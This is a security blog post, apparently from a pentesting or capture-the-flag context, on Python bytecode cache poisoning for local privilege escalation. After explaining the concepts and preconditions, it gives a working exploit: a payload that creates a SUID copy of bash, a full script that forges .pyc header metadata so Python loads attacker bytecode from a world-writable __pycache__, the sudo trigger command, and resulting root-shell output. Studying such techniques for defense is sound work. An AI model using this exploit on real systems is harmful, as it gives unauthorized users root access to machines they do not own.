Introduction
Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv‑esc) in misconfigured environments. It abuses how Python compiles and caches bytecode (.pyc files) to speed up execution. When an attacker can influence which bytecode is loaded—or where it is loaded from—they may execute arbitrary Python code in a higher-privileged context.

This attack class is especially relevant in:
- Linux systems with SUID Python scripts
- Root-owned automation (cron jobs, systemd services)
- DevOps and CI/CD environments
- Misconfigured containers or shared hosts
In this post, we will focus on how cache poisoning works, what you need to understand before attempting it, and the precise conditions required to escalate privileges using it.
Core Concepts to Understand Beforehand
Before diving into exploitation, you should be comfortable with the following Python and OS-level concepts.
1. Python Bytecode and .pyc Files
When Python runs a script or imports a module, it compiles the source code into bytecode, stored in .pyc files. These are typically located in:
__pycache__/module.cpython-XY.pyc- Or alongside the source file (older Python versions)
Python prefers loading bytecode if:
- The
.pycfile exists - The timestamp and metadata match expectations
This behavior is the foundation of cache poisoning.
2. Python Import Mechanism
Python resolves imports in a specific order:
- Current script directory
- Entries in
PYTHONPATH - Standard library paths
If an attacker can write to any directory searched during imports, they may inject a malicious module that gets imported instead of the intended one.
3. __pycache__ Trust Model
Python assumes that:
- The filesystem is trustworthy
.pycfiles are generated by legitimate users
There is no cryptographic validation of bytecode. If Python loads a malicious .pyc, it will execute it without question.
4. File Permissions and Ownership
Privilege escalation hinges on permission mismatches, such as:
- Root executing Python code stored in user-writable directories
- Root trusting bytecode generated by lower-privileged users
- Group-writable directories used by privileged services
Understanding Linux permissions, sticky bits, and ownership is mandatory.
5. SUID and Privileged Execution Contexts
If a Python interpreter or script is executed with elevated privileges (directly or indirectly), any imported code inherits those privileges.
Examples:
- SUID Python wrappers
- Root cron jobs
- System services running Python
What Is Python Cache Poisoning?
Python cache poisoning is the act of injecting or modifying Python bytecode so that a privileged Python process executes attacker-controlled instructions.
This can happen by:
- Replacing a legitimate
.pycfile - Creating a malicious
.pycbefore the real one exists - Abusing writable
__pycache__directories - Forcing Python to prefer attacker-controlled bytecode over source
Requirements to Achieve Privilege Escalation
For cache poisoning to result in priv‑esc, all or most of the following conditions must be met.
1. A Python Script Runs With Higher Privileges
The target must execute Python code as a more privileged user, commonly:
root- A service account (e.g.,
www-data,jenkins)
Typical vectors:
- Cron jobs
- systemd services
- Backup or monitoring scripts
2. Writable Location in the Import or Cache Path
At least one of the following must be writable by the attacker:
- The directory containing the Python script
- The
__pycache__directory - A directory listed in
PYTHONPATH - A module directory used by the script
This is the most critical condition.
3. Predictable Module Import
The privileged script must import a module that:
- Is not fully qualified with an absolute path
- Exists in a writable directory
- Is imported automatically on execution
Common examples:
import utilsimport configfrom helpers import *
4. Python Version Compatibility
The injected .pyc must match:
- The Python major and minor version
- The correct bytecode magic number
Otherwise, Python will discard the cache and recompile from source.
5. Lack of Defensive Controls
The attack becomes trivial if:
PYTHONDONTWRITEBYTECODEis not enforced- The filesystem lacks
nosuid,noexec, or strict permissions - There is no integrity monitoring (AIDE, Tripwire)
Common Real‑World Scenarios
- Root cron job running a Python script from
/opt/app/ - Shared DevOps directory writable by developers
- Docker containers running as root with bind-mounted volumes
- Legacy Python 2 applications with flat
.pycstorage
Exploitation Example
Enumerating the «sudo» privileges of a user I found that the user was able to execute a script with «sudo» privileges. Then, checking the directory was like:
user@machine:/opt/tools$ ls -la
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 11 07:54 ..
drwxr-xr-x 5 root root 4096 Dec 11 2026 extra
-rwxrwxr-x 1 root root 2739 Mar 22 2026 first_script.py
-rw-rw-r-- 1 root root 1245 Mar 23 2026 second_script.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
We can see that we have 777 over «__pycache__», that means that we can actually poison any library that is imported on the scripts. Without disclosing the code of the scripts, the first script was importing the second, so, I was able to create a malicious pyc:
import os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
Compile it:
python3.12 -m py_compile /tmp/exploit.py
Then, to make possible to python load our malicious pyc, we will poison the time of the file because Python is performing a validity check on your .pyc file. Since the original /opt/tools/second_script.py is still there, Python compares your malicious bytecode against the original source’s timestamp and size. When it sees they don’t match, it assumes the cache is «stale,» deletes your malicious file, and recompiles the original one. We will create the file /tmp/poison.py:
# poison.py
path_to_real_py = "/opt/tools/second_script.py"
path_to_my_pyc = "./__pycache__/exploit.cpython-312.pyc"
target_pyc = "/opt/tools/__pycache__/second_script.cpython-312.pyc"
import os
import struct
# 1. Get metadata from the real source file
stat = os.stat(path_to_real_py)
mtime = int(stat.st_mtime)
size = stat.st_size & 0xFFFFFFFF
# 2. Read your malicious bytecode
with open(path_to_my_pyc, "rb") as f:
my_data = f.read()
# 3. Construct the valid header (16 bytes for Python 3.12)
# Magic (4 bytes) | Flags (4 bytes) | Timestamp (4 bytes) | Size (4 bytes)
magic = my_data[:4]
flags = b'\x00\x00\x00\x00'
header = magic + flags + struct.pack("<I", mtime) + struct.pack("<I", size)
# 4. Combine new header with malicious code (skip old header)
final_pyc = header + my_data[16:]
# 5. Write to the target
with open(target_pyc, "wb") as f:
f.write(final_pyc)
print("[+] Malicious PYC poisoned with correct metadata!")
Once, we have executed the poisoner, we will have our pyc ready. Once, I have executed the script that I was able to run as sudo:
sudo /opt/tools/first_script.py --as Example
The exploit was executed and our bash with the SUID set up should be on /tmp/:
user@machine:/tmp$ /tmp/rootbash -p
rootbash-5.2# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)
Closing Notes
While modern best practices reduce the likelihood of this issue, real-world environments—especially internal tooling and automation—still expose it frequently.
In future sections, this topic can be expanded with:
- Practical exploitation walkthroughs
- Detection and prevention techniques
- Hardening guidelines for defenders
I hope you liked the post! Happy Hacking!
Find more interesting post on:
or subscribe to our newsletter to receive all the lastest posts: